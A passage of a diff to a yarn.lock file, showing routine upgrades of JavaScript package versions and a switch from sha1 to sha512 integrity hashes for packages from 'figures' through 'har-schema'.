-    ua-parser-js "^0.7.18"
-
 figures@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/figures/-/figures-2.0.0.tgz#3ab1a2d2a62c8bfb431a0c94cb797a2fce27c962"
-  integrity sha1-OrGi0qYsi/tDGgyUy3l6L84nyWI=
+  integrity sha512-Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==
   dependencies:
     escape-string-regexp "^1.0.5"
 
 file-entry-cache@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-2.0.0.tgz#c392990c3e684783d838b8c84a45d8a048458361"
-  integrity sha1-w5KZDD5oR4PYOLjISkXYoEhFg2E=
+  integrity sha512-uXP/zGzxxFvFfcZGgBIwotm+Tdc55ddPAzF7iHshP4YGaXMww7rSF9peD9D1sui5ebONg5UobsZv+FfgEpGv/w==
   dependencies:
     flat-cache "^1.2.1"
     object-assign "^4.0.1"
@@ -3272,12 +3370,12 @@ file-uri-to-path@1.0.0:
 filename-regex@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/filename-regex/-/filename-regex-2.0.1.tgz#c1c4b9bee3e09725ddb106b75c1e301fe2f18b26"
-  integrity sha1-wcS5vuPglyXdsQa3XB4wH+LxiyY=
+  integrity sha512-BTCqyBaWBTsauvnHiE8i562+EdJj+oUpkqWp2R1iCoR8f6oo8STRu3of7WJJ0TqWtxN50a5YFpzYK4Jj9esYfQ==
 
 fileset@^2.0.2:
   version "2.0.3"
   resolved "https://registry.yarnpkg.com/fileset/-/fileset-2.0.3.tgz#8e7548a96d3cc2327ee5e674168723a333bba2a0"
-  integrity sha1-jnVIqW08wjJ+5eZ0FocjozO7oqA=
+  integrity sha512-UxowFKnAFIwtmSxgKjWAVgjE3Fk7MQJT0ZIyl0NwIFZTrx4913rLaonGJ84V+x/2+w/pe4ULHRns+GZPs1TVuw==
   dependencies:
     glob "^7.0.3"
     minimatch "^3.0.3"
@@ -3301,7 +3399,7 @@ fill-range@^2.1.0:
 fill-range@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-4.0.0.tgz#d544811d428f98eb06a63dc402d2403c328c38f7"
-  integrity sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=
+  integrity sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==
   dependencies:
     extend-shallow "^2.0.1"
     is-number "^3.0.0"
@@ -3315,23 +3413,23 @@ fill-range@^7.0.1:
   dependencies:
     to-regex-range "^5.0.1"
 
-finalhandler@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.2.tgz#b7e7d000ffd11938d0fdb053506f6ebabe9f587d"
-  integrity sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==
+finalhandler@1.3.1:
+  version "1.3.1"
+  resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.3.1.tgz#0c575f1d1d324ddd1da35ad7ece3df7d19088019"
+  integrity sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==
   dependencies:
     debug "2.6.9"
-    encodeurl "~1.0.2"
+    encodeurl "~2.0.0"
     escape-html "~1.0.3"
-    on-finished "~2.3.0"
+    on-finished "2.4.1"
     parseurl "~1.3.3"
-    statuses "~1.5.0"
+    statuses "2.0.1"
     unpipe "~1.0.0"
 
 find-cache-dir@^0.1.1:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-0.1.1.tgz#c8defae57c8a52a8a784f9e31c57c742e993a0b9"
-  integrity sha1-yN765XyKUqinhPnjHFfHQumToLk=
+  integrity sha512-Z9XSBoNE7xQiV6MSgPuCfyMokH2K7JdpRkOYE1+mu3d4BFJtx3GW+f6Bo4q8IX6rlf5MYbLBKW0pjl2cWdkm2A==
   dependencies:
     commondir "^1.0.1"
     mkdirp "^0.5.1"
@@ -3340,7 +3438,7 @@ find-cache-dir@^0.1.1:
 find-cache-dir@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/find-cache-dir/-/find-cache-dir-1.0.0.tgz#9288e3e9e3cc3748717d39eade17cf71fc30ee6f"
-  integrity sha1-kojj6ePMN0hxfTnq3hfPcfww7m8=
+  integrity sha512-46TFiBOzX7xq/PcSWfFwkyjpemdRnMe31UQF+os0y+1W3k95f6R4SEt02Hj4p3X0Mir9gfrkmOtshFidS0VPUg==
   dependencies:
     commondir "^1.0.1"
     make-dir "^1.0.0"
@@ -3349,7 +3447,7 @@ find-cache-dir@^1.0.0:
 find-up@^1.0.0:
   version "1.1.2"
   resolved "https://registry.yarnpkg.com/find-up/-/find-up-1.1.2.tgz#6b2e9822b1a2ce0a60ab64d610eccad53cb24d0f"
-  integrity sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=
+  integrity sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==
   dependencies:
     path-exists "^2.0.0"
     pinkie-promise "^2.0.0"
@@ -3357,7 +3455,7 @@ find-up@^1.0.0:
 find-up@^2.0.0, find-up@^2.1.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/find-up/-/find-up-2.1.0.tgz#45d1b7e506c717ddd482775a2b77920a3c0c57a7"
-  integrity sha1-RdG35QbHF93UgndaK3eSCjwMV6c=
+  integrity sha512-NWzkk0jSJtTt08+FBFMvXoeZnOJD+jTtsRmBYbAIzJdX6l7dLgR7CTubCM5/eDdPUBvLCeVasP1brfVR/9/EZQ==
   dependencies:
     locate-path "^2.0.0"
 
@@ -3381,22 +3479,29 @@ follow-redirects@^1.0.0:
   resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.6.tgz#7f815c0cda4249c74ff09e95ef97c23b5fd0399b"
   integrity sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==
 
+for-each@^0.3.3:
+  version "0.3.3"
+  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
+  integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==
+  dependencies:
+    is-callable "^1.1.3"
+
 for-in@^1.0.1, for-in@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80"
-  integrity sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=
+  integrity sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==
 
 for-own@^0.1.4:
   version "0.1.5"
   resolved "https://registry.yarnpkg.com/for-own/-/for-own-0.1.5.tgz#5265c681a4f294dabbf17c9509b6763aa84510ce"
-  integrity sha1-UmXGgaTylNq78XyVCbZ2OqhFEM4=
+  integrity sha512-SKmowqGTJoPzLO1T0BBJpkfp3EMacCMOuH40hOUbrbzElVktk4DioXVM99QkLCyKoiuOmyjgcWMpVz2xjE7LZw==
   dependencies:
     for-in "^1.0.1"
 
 forever-agent@~0.6.1:
   version "0.6.1"
   resolved "https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91"
-  integrity sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=
+  integrity sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==
 
 form-data@~2.3.2:
   version "2.3.3"
@@ -3407,15 +3512,15 @@ form-data@~2.3.2:
     combined-stream "^1.0.6"
     mime-types "^2.1.12"
 
-forwarded@~0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.1.2.tgz#98c23dab1175657b8c0573e8ceccd91b0ff18c84"
-  integrity sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=
+forwarded@0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
+  integrity sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==
 
 fragment-cache@^0.2.1:
   version "0.2.1"
   resolved "https://registry.yarnpkg.com/fragment-cache/-/fragment-cache-0.2.1.tgz#4290fad27f13e89be7f33799c6bc5a0abfff0d19"
-  integrity sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=
+  integrity sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==
   dependencies:
     map-cache "^0.2.2"
 
@@ -3427,7 +3532,7 @@ fresh@0.5.2:
 fs-extra@3.0.1:
   version "3.0.1"
   resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-3.0.1.tgz#3794f378c58b342ea7dbbb23095109c4b3b62291"
-  integrity sha1-N5TzeMWLNC6n27sjCVEJxLO2IpE=
+  integrity sha512-V3Z3WZWVUYd8hoCL5xfXJCaHWYzmtwW5XWYSlLgERi8PWd8bx1kUHUk8L1BT57e49oKnDDD180mjfrHc1yA9rg==
   dependencies:
     graceful-fs "^4.1.2"
     jsonfile "^3.0.0"
@@ -3436,7 +3541,7 @@ fs-extra@3.0.1:
 fs-extra@^0.30.0:
   version "0.30.0"
   resolved "https://registry.yarnpkg.com/fs-extra/-/fs-extra-0.30.0.tgz#f233ffcc08d4da7d432daa449776989db1df93f0"
-  integrity sha1-8jP/zAjU2n1DLapEl3aYnbHfk/A=
+  integrity sha512-UvSPKyhMn6LEd/WpUaV9C9t3zATuqoqfWc3QdPhPLb58prN9tqYPlPWi8Krxi44loBoUzlobqZ3+8tGpxxSzwA==
   dependencies:
     graceful-fs "^4.1.2"
     jsonfile "^2.1.0"
@@ -3457,61 +3562,102 @@ fsevents@^1.1.3, fsevents@^1.2.7:
     bindings "^1.5.0"
     nan "^2.12.1"
 
-fsevents@~2.1.2:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.1.3.tgz#fb738703ae8d2f9fe900c33836ddebee8b97f23e"
-  integrity sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==
+fsevents@~2.3.2:
+  version "2.3.3"
+  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
+  integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
 
-function-bind@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.1.tgz#a56899d3ea3c9bab874bb9773b7c5ede92f4895d"
-  integrity sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==
+function-bind@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
+  integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
+
+function.prototype.name@^1.1.6, function.prototype.name@^1.1.8:
+  version "1.1.8"
+  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz#e68e1df7b259a5c949eeef95cdbde53edffabb78"
+  integrity sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    functions-have-names "^1.2.3"
+    hasown "^2.0.2"
+    is-callable "^1.2.7"
 
 functional-red-black-tree@^1.0.1:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
-  integrity sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=
+  integrity sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==
+
+functions-have-names@^1.2.3:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834"
+  integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==
 
 get-caller-file@^1.0.1:
   version "1.0.3"
   resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-1.0.3.tgz#f978fa4c90d1dfe7ff2d6beda2a515e713bdcf4a"
   integrity sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==
 
-get-intrinsic@^1.0.0, get-intrinsic@^1.0.1:
+get-intrinsic@^1.2.4, get-intrinsic@^1.2.5, get-intrinsic@^1.2.6, get-intrinsic@^1.2.7:
+  version "1.2.7"
+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.7.tgz#dcfcb33d3272e15f445d15124bc0a216189b9044"
+  integrity sha512-VW6Pxhsrk0KAOqs3WEd0klDiF/+V7gQOpAvY1jVU/LHmaD/kQO4523aiJuikX/QAKYiW6x8Jh+RJej1almdtCA==
+  dependencies:
+    call-bind-apply-helpers "^1.0.1"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    function-bind "^1.1.2"
+    get-proto "^1.0.0"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    math-intrinsics "^1.1.0"
+
+get-proto@^1.0.0, get-proto@^1.0.1:
   version "1.0.1"
-  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.0.1.tgz#94a9768fcbdd0595a1c9273aacf4c89d075631be"
-  integrity sha512-ZnWP+AmS1VUaLgTRy47+zKtjTxz+0xMpx3I52i+aalBK1QP19ggLF3Db89KJX7kjfOfP2eoa01qc++GwPgufPg==
+  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
+  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
   dependencies:
-    function-bind "^1.1.1"
-    has "^1.0.3"
-    has-symbols "^1.0.1"
+    dunder-proto "^1.0.1"
+    es-object-atoms "^1.0.0"
 
 get-stdin@^4.0.1:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/get-stdin/-/get-stdin-4.0.1.tgz#b968c6b0a04384324902e8bf1a5df32579a450fe"
-  integrity sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=
+  integrity sha512-F5aQMywwJ2n85s4hJPTT9RPxGmubonuB10MNYo17/xph174n2MIR33HRguhzVag10O/npM7SPk73LMZNP+FaWw==
 
 get-stream@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/get-stream/-/get-stream-3.0.0.tgz#8e943d1358dc37555054ecbe2edb05aa174ede14"
-  integrity sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=
+  integrity sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ==
+
+get-symbol-description@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee"
+  integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
 
 get-value@^2.0.3, get-value@^2.0.6:
   version "2.0.6"
   resolved "https://registry.yarnpkg.com/get-value/-/get-value-2.0.6.tgz#dc15ca1c672387ca76bd37ac0a395ba2042a2c28"
-  integrity sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=
+  integrity sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==
 
 getpass@^0.1.1:
   version "0.1.7"
   resolved "https://registry.yarnpkg.com/getpass/-/getpass-0.1.7.tgz#5eff8e3e684d569ae4cb2b1282604e8ba62149fa"
-  integrity sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=
+  integrity sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==
   dependencies:
     assert-plus "^1.0.0"
 
 glob-base@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/glob-base/-/glob-base-0.3.0.tgz#dbb164f6221b1c0b1ccf82aea328b497df0ea3c4"
-  integrity sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=
+  integrity sha512-ab1S1g1EbO7YzauaJLkgLp7DZVAqj9M/dvKlTt8DkXA2tiOIcSMrlVI2J1RZyB5iJVccEscjGn+kpOG9788MHA==
   dependencies:
     glob-parent "^2.0.0"
     is-glob "^2.0.0"
@@ -3519,26 +3665,38 @@ glob-base@^0.3.0:
 glob-parent@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-2.0.0.tgz#81383d72db054fcccf5336daa902f182f6edbb28"
-  integrity sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=
+  integrity sha512-JDYOvfxio/t42HKdxkAYaCiBN7oYiuxykOxKxdaUW5Qn0zaYN3gRQWolrwdnf0shM9/EP0ebuuTmyoXNr1cC5w==
   dependencies:
     is-glob "^2.0.0"
 
 glob-parent@^3.1.0:
   version "3.1.0"
   resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-3.1.0.tgz#9e6af6299d8d3bd2bd40430832bd113df906c5ae"
-  integrity sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=
+  integrity sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==
   dependencies:
     is-glob "^3.1.0"
     path-dirname "^1.0.0"
 
-glob-parent@~5.1.0:
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.1.tgz#b6c1ef417c4e5663ea498f1c45afac6916bbc229"
-  integrity sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==
+glob-parent@~5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
   dependencies:
     is-glob "^4.0.1"
 
-glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3:
+glob@^7.0.3:
+  version "7.2.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
+  integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.1.1"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+glob@^7.1.1, glob@^7.1.2, glob@^7.1.3:
   version "7.1.6"
   resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.6.tgz#141f33b81a7c2492e125594307480c46679278a6"
   integrity sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==
@@ -3553,7 +3711,7 @@ glob@^7.0.3, glob@^7.1.1, glob@^7.1.2, glob@^7.1.3:
 global-dirs@^0.1.0:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/global-dirs/-/global-dirs-0.1.1.tgz#b319c0dd4607f353f3be9cca4c72fc148c49f445"
-  integrity sha1-sxnA3UYH81PzvpzKTHL8FIxJ9EU=
+  integrity sha512-NknMLn7F2J7aflwFOlGdNIuCDpN3VGoSoB+aap3KABFWbHVn1TCgFC+np23J8W2BiZbjfEw3BFBycSMv1AFblg==
   dependencies:
     ini "^1.3.4"
 
@@ -3569,7 +3727,7 @@ global-modules@1.0.0, global-modules@^1.0.0:
 global-prefix@^1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/global-prefix/-/global-prefix-1.0.2.tgz#dbf743c6c14992593c655568cb66ed32c0122ebe"
-  integrity sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=
+  integrity sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==
   dependencies:
     expand-tilde "^2.0.2"
     homedir-polyfill "^1.0.1"
@@ -3582,10 +3740,18 @@ globals@^9.17.0, globals@^9.18.0:
   resolved "https://registry.yarnpkg.com/globals/-/globals-9.18.0.tgz#aa3896b3e69b487f17e31ed2143d69a8e30c2d8a"
   integrity sha512-S0nG3CLEQiY/ILxqtztTWH/3iRRdyBLw6KMDxnKMchrtbj2OFmehVh0WUCfW3DUrIgx/qFrJPICrq4Z4sTR9UQ==
 
+globalthis@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
+  dependencies:
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
+
 globby@^5.0.0:
   version "5.0.0"
   resolved "https://registry.yarnpkg.com/globby/-/globby-5.0.0.tgz#ebd84667ca0dbb330b99bcfc68eac2bc54370e0d"
-  integrity sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=
+  integrity sha512-HJRTIH2EeH44ka+LWig+EqT2ONSYpVlNfx6pyd592/VF1TbfljJ7elwie7oSwcViLGqOdWocSdu2txwBF9bjmQ==
   dependencies:
     array-union "^1.0.1"
     arrify "^1.0.0"
@@ -3597,7 +3763,7 @@ globby@^5.0.0:
 globby@^6.1.0:
   version "6.1.0"
   resolved "https://registry.yarnpkg.com/globby/-/globby-6.1.0.tgz#f5a6d70e8395e21c858fb0489d64df02424d506c"
-  integrity sha1-9abXDoOV4hyFj7BInWTfAkJNUGw=
+  integrity sha512-KVbFv2TQtbzCoxAnfD6JcHZTYCzyliEaaeM/gH8qQdkKr5s0OP9scEgvdcngyk7AVdY6YVW/TJHd+lQ/Df3Daw==
   dependencies:
     array-union "^1.0.1"
     glob "^7.0.3"
@@ -3605,10 +3771,15 @@ globby@^6.1.0:
     pify "^2.0.0"
     pinkie-promise "^2.0.0"
 
+gopd@^1.0.1, gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
 got@^6.7.1:
   version "6.7.1"
   resolved "https://registry.yarnpkg.com/got/-/got-6.7.1.tgz#240cd05785a9a18e561dc1b44b41c763ef1e8db0"
-  integrity sha1-JAzQV4WpoY5WHcG0S0HHY+8ejbA=
+  integrity sha512-Y/K3EDuiQN9rTZhBvPRWMLXIKdeD1Rj0nzunfoi0Yyn5WBEbzxXKU9Ub2X41oZBagVWOBU3MuDonFMgPWQFnwg==
   dependencies:
     create-error-class "^3.0.0"
     duplexer3 "^0.1.4"
@@ -3622,7 +3793,12 @@ got@^6.7.1:
     unzip-response "^2.0.1"
     url-parse-lax "^1.0.0"
 
-graceful-fs@^4.1.11, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.1.9:
+graceful-fs@^4.1.11, graceful-fs@^4.1.9:
+  version "4.2.11"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
+
+graceful-fs@^4.1.2, graceful-fs@^4.1.6:
   version "4.2.4"
   resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.4.tgz#2256bde14d3632958c465ebc96dc467ca07a29fb"
   integrity sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==
@@ -3630,27 +3806,27 @@ graceful-fs@^4.1.11, graceful-fs@^4.1.2, graceful-fs@^4.1.6, graceful-fs@^4.1.9:
 growly@^1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/growly/-/growly-1.3.0.tgz#f10748cbe76af964b7c96c93c6bcc28af120c081"
-  integrity sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=
+  integrity sha512-+xGQY0YyAWCnqy7Cd++hc2JqMYzlm0dG30Jd0beaA64sROr8C4nt8Yc9V5Ro3avlSUDTN0ulqP/VBKi1/lLygw==
 
 gzip-size@3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/gzip-size/-/gzip-size-3.0.0.tgz#546188e9bdc337f673772f81660464b389dce520"
-  integrity sha1-VGGI6b3DN/Zzdy+BZgRks4nc5SA=
+  integrity sha512-6s8trQiK+OMzSaCSVXX+iqIcLV9tC+E73jrJrJTyS4h/AJhlxHvzFKqM1YLDJWRGgHX8uLkBeXkA0njNj39L4w==
   dependencies:
     duplexer "^0.1.1"
 
 handle-thing@^1.2.5:
   version "1.2.5"
   resolved "https://registry.yarnpkg.com/handle-thing/-/handle-thing-1.2.5.tgz#fd7aad726bf1a5fd16dfc29b2f7a6601d27139c4"
-  integrity sha1-/Xqtcmvxpf0W38KbL3pmAdJxOcQ=
+  integrity sha512-Ld9EYcBflMUF6SsJLGDADVH50jSzLNIUUrOFlFGK/zwqimATg9+wY4jsLWCR7DZSxt2BfK0+liHUMdoR11bjLg==
 
 handlebars@^4.0.3:
-  version "4.7.6"
-  resolved "https://registry.yarnpkg.com/handlebars/-/handlebars-4.7.6.tgz#d4c05c1baf90e9945f77aa68a7a219aa4a7df74e"
-  integrity sha512-1f2BACcBfiwAfStCKZNrUCgqNZkGsAT7UM3kkYtXuLo0KnaVfjKOyf7PRzB6++aK9STyT1Pd2ZCPe3EGOXleXA==
+  version "4.7.8"
+  resolved "https://registry.yarnpkg.com/handlebars/-/handlebars-4.7.8.tgz#41c42c18b1be2365439188c77c6afae71c0cd9e9"
+  integrity sha512-vafaFqs8MZkRrSX7sFVUdo3ap/eNiLnb4IakshzvP56X5Nr1iGKAIqdX6tMlm6HcNRIkr6AxO5jFEoJzzpT8aQ==
   dependencies:
     minimist "^1.2.5"
-    neo-async "^2.6.0"
+    neo-async "^2.6.2"
     source-map "^0.6.1"
     wordwrap "^1.0.0"
   optionalDependencies:
@@ -3659,7 +3835,7 @@ handlebars@^4.0.3:
 har-schema@^2.0.0:
   version "2.0.0"
